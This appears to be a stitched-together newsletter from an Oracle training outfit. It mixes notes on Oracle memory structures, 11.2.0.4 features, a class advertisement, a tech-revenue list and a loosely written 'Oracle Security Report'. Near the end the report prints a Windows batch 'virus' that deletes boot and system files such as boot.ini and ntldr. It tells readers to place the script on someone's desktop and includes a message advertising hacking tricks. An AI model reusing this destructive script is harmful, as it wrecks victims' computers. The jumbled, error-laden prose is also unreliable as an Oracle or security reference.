Ora Master

Oracle Memory Structures
Oracle uses the server’s physical
memory to hold many things for an
Oracle instance: the Oracle
executable code itself, session
information, individual processes
associated with the database,
and information shared between
processes (such as locks on database
objects). In addition,
the memory structures contain user
and data dictionary SQL statements,
along with cached
information that is eventually
permanently stored on disk, such as
data blocks from database
segments and information about
completed transactions in the
database. The data area allocated
for an Oracle instance is called the
System Global Area (SGA) . The
Oracle executables reside in
the software code area. In addition,
an area called the Program Global
Area (PGA) is private to
each server and background process;
one PGA is allocated for each
process. Below Figure shows the
relationships between these Oracle
memory structures.

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11.2.0.4 new features and a
OPTIMIZER_DYNAMIC_
SAMPLING change
As of 27th August 2013, 11.2.0.4,
the final release of 11GR2 was made
available – a new features document
is available . I will give a quick
bullet list of the new features and
then discuss one very important one
that is not mentioned.

√ Oracle Data Redaction –
provides a new A*O (cost £££)
option to redact specified
information, even at runtime,
from within the database.

√ Trace File Analyzer and
Collector, is a diagnostic
collection utility to simplify
diagnostic data collection on
Oracle Clusterware, Oracle Grid
Infrastructure – looks well
worth investigating

√ ** RACcheck – The Oracle RAC
Configuration Audit Tool – to
perform regular health checks
as well as pre- and post-
upgrade best practices
assessments. Only written for
linux so needed adapting for
HPUX and needs to have the
root password – an issue for
many DBAs…

√ **Database Replay Support for
Database Consolidation – run
lots of scenarios- batch, online,
monthly process all at the
same time even though
captured at different periods.

√ Optimization for Flashback
Data Archive History Tables –
use the OPTIMIZE DATA clause
when creating or altering a
flashback data archive.
So the one that has not appeared in
that list, probably because it is not
a new feature as such is tan
additional value for the init.ora
parameter
OPTIMIZER_DYNAMIC_SAMPLING.
This comes into play when a table
does not have any statistics and the
parameter is enabled. The previous
default setting of 2 was to use
dynamic statistics if at least one
table in the statement has no
statistics and the number of blocks
that the statistics would be based
on would be 64 and the value could
range between 2 and 10 , each value
doubling the number of blocks that
will be sampled. The new value of
11 means that the optimizer will
gather dynamic statistics
automatically whenever the
optimizer deems it necessary and
based on the number of blocks it
thinks appropriate.

To know more about join our
introduction class on Saturday, 14
December at 9:00AM. Should you need more information
you may contact +91 9963004000

Top 10 tech companies in the world
based on their annual
revenues reported:
10. Dell – United States – $62.07
Billion
9. Sony – Japan – $67.4 Billion
8. Microsoft – United States – $73.72
Billion
7. Toshiba – Japan – $74.39 Billion
6. Panasonic – Japan – $99.65 Billion
5. IBM – United States – $106.91
Billion
4. Foxconn – Taiwan – $117.51 Billion
3. Hewlett Packard – United States –
$120.35 Billion
2. Samsung Electronics – South Korea
– $149 Billion
1. Apple, Inc. – United States –
$156.5

Oracle Security Report

Lot of question came to my mind
when I start talking about oracle
security, How to secure my
databases, what should I do?
Adding Firewall to my network is it
enough? Enable Oracle Audit
Parameter will be enough?
Understand Security as concept is
very important to reduce risk of
attack and to do that you should
make your system is secure.
Having Security awareness is first
step to secure the system.
According to RSA reports, there was
7% increase in amount of phishing
attacks worldwide between months
of July and August 2010, The
United States currently leads as
the country that suffered the most
attacks in regards to online cyber
threats with 35% of these aimed at
citizens of the US; the US was also
the country that hosted the most
attacks, with 60% of phishing
attacks starting from the US.
The below Graph Show Number of
network Security Breaches over Past
12 months (Graph Made by
Ponemon Institute)
Included to above reports 1$
trillion the total value of
intellectual property hackers stole
from business around the world in
2008.
As proof for this I will mention
three different stories for the
biggest top “black hat” hackers
The below Graph Shown How much
Did the Cyber-attack Cost Company
over 12 month (Graph Made by
Ponemon Institute)
Jonathan James when he hacked
NASA he was 16 years old with that
he was the first juvenile sent to
the present, Installed backdoor
into defense threats reductions
agency server and jacked into
NASA Computers stealing software
worth 1.7M $ Costing NASA
41,000$ in Repair.
Adrian Lamo Hacked into NY Times
and Microsoft using wifi Coffee
shop, Viewed Personal Information
and High profile Subject matter
The last example Kevin Mitnick
spent two years stealing corporate
secrets and breaking into the US
national defense warning system.
Computer Hacking is usually used
as stereotypes in movies and
cartoons as Guy sitting behind
desk with Pepsi Can and not that
much luck with ladies , the truth is
this guy cost people and
companies money and privacy,
therefor the hacking effects on
individuals , organizations and
company.
As individuals victims of computer
hacking will lose their saving,
privacy even their life, in the early
days of computer the virus was the
biggest security risk which is cause
data losing. After that it’s replaced
with malware which is small
software designed to do job such
as key logger or virus scanner but
now this software not more any fun
since the hackers now creating
malware.
Nothing easier today than writing
virus just to do annoying things,
the below code just an example
how writing a virus.
You can find step to write virus,
Trojan or even worm on the
internet and for free, this is what
makes problem bigger, because
internal user can read this
information and start using them
so you should prepare to all these
kind of attacks.
The below example for simple
virus, all you have to do is save as
batch file and put it on someone
desktop
off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini
msg * SEND->> JOIN EVILKING
TO +919870807070 for hacking
tricks
The Above subject is only part One
of Overview I will Post More topics
included Full Description how to
secure Oracle Database.
Thank you

Ahmer